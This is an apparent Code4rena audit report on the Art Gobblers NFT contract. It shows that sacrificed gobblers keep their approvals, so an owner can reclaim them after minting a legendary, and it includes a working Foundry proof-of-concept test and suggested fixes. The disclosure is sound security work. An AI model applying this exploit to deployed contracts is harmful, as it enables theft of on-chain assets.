Art Gobblers contest - pauliax's results

Lines of code

https://github.com/code-423n4/2022-09-artgobblers/blob/main/src/ArtGobblers.sol#L441 https://github.com/code-423n4/2022-09-artgobblers/blob/main/src/ArtGobblers.sol#L887-L894

Vulnerability details

Impact

Minting a legendary gobbler does not delete getApproved, thus an owner can approve himself before minting the legendary and later transfer back these ordinary gobblers.

mintLegendaryGobbler performs an imitation of burning by setting an owner to address(0):

  for (uint256 i = 0; i < cost; ++i) {
      id = gobblerIds[i];

      if (id >= FIRST_LEGENDARY_GOBBLER_ID) revert CannotBurnLegendary(id);

      require(getGobblerData[id].owner == msg.sender, "WRONG_FROM");

      burnedMultipleTotal += getGobblerData[id].emissionMultiple;

      emit Transfer(msg.sender, getGobblerData[id].owner = address(0), id);
  }

getApproved is not cleared and function transferFrom does not forbid transferring from an empty address:

  function transferFrom(
      address from,
      address to,
      uint256 id
  ) public override {
      require(from == getGobblerData[id].owner, "WRONG_FROM");

      require(to != address(0), "INVALID_RECIPIENT");

      require(
          msg.sender == from || isApprovedForAll[from][msg.sender] || msg.sender == getApproved[id],
          "NOT_AUTHORIZED"
      );

      delete getApproved[id];

      getGobblerData[id].owner = to;

      unchecked {
          uint32 emissionMultiple = getGobblerData[id].emissionMultiple; // Caching saves gas.

          // We update their last balance before updating their emission multiple to avoid
          // penalizing them by retroactively applying their new (lower) emission multiple.
          getUserData[from].lastBalance = uint128(gooBalance(from));
          getUserData[from].lastTimestamp = uint64(block.timestamp);
          getUserData[from].emissionMultiple -= emissionMultiple;
          getUserData[from].gobblersOwned -= 1;

          // We update their last balance before updating their emission multiple to avoid
          // overpaying them by retroactively applying their new (higher) emission multiple.
          getUserData[to].lastBalance = uint128(gooBalance(to));
          getUserData[to].lastTimestamp = uint64(block.timestamp);
          getUserData[to].emissionMultiple += emissionMultiple;
          getUserData[to].gobblersOwned += 1;
      }

      emit Transfer(from, to, id);
  }

This means a malicious user can trick the system and grab a legendary for free. Even more funny is that now this unchecked block underflows when performing a transfer from an address that was supposed to have 0 gobblersOwned :(

Proof of Concept

POC: I wrote a testcase in ArtGobblers.t.sol showcasing this vulnerability:

  /// @notice Test that sacrificed gobblers can be re-claimed after minting the Legendary Gobbler.
  function testMintLegendaryGobblerAndReclaimSacrificedGobblers() public {
      uint256 startTime = block.timestamp + 30 days;
      vm.warp(startTime);
      // Mint full interval to kick off first auction.
      mintGobblerToAddress(users[0], gobblers.LEGENDARY_AUCTION_INTERVAL());
      uint256 cost = gobblers.legendaryGobblerPrice();
      assertEq(cost, 69);
      setRandomnessAndReveal(cost, "seed");
      for (uint256 curId = 1; curId <= cost; curId++) {
          ids.push(curId);
          assertEq(gobblers.ownerOf(curId), users[0]);
      }

      // Set approved before minting the legendary.
      for (uint256 i = 0; i < ids.length; i++) {
          vm.prank(users[0]);
          gobblers.approve(users[0], ids[i]);
      }

      // Mint legendary.
      vm.prank(users[0]);
      uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids);

      // Legendary is owned by user.
      assertEq(gobblers.ownerOf(mintedLegendaryId), users[0]);

      // Sacrificed gobblers now owned by address(0).
      for (uint256 i = 0; i < ids.length; i++) {
          hevm.expectRevert("NOT_MINTED");
          gobblers.ownerOf(ids[i]);
      }

      // Successful reclaim :(
      for (uint256 i = 0; i < ids.length; i++) {
          assertEq(gobblers.getApproved(ids[i]), users[0]);

          vm.prank(users[0]);
          gobblers.transferFrom(address(0), users[0], ids[i]);

          assertEq(gobblers.ownerOf(1), users[0]);
      }

      // address(0) unchecked underflow :(
      (uint32 gobblersOwned, , , ) = gobblers.getUserData(address(0));
      uint256 UINT32_MAX = type(uint32).max;
      assertEq(gobblersOwned, UINT32_MAX - ids.length + 1);
  }

Recommended Mitigation Steps

There are many possible mitigations, e.g. clear getApproved, or forbid an empty from address in transferFrom. Btw a side note but why can't at least legendary gobblers be cannibals? Otherwise, these sacrificed gobblers with all the art inside it will enter the void :(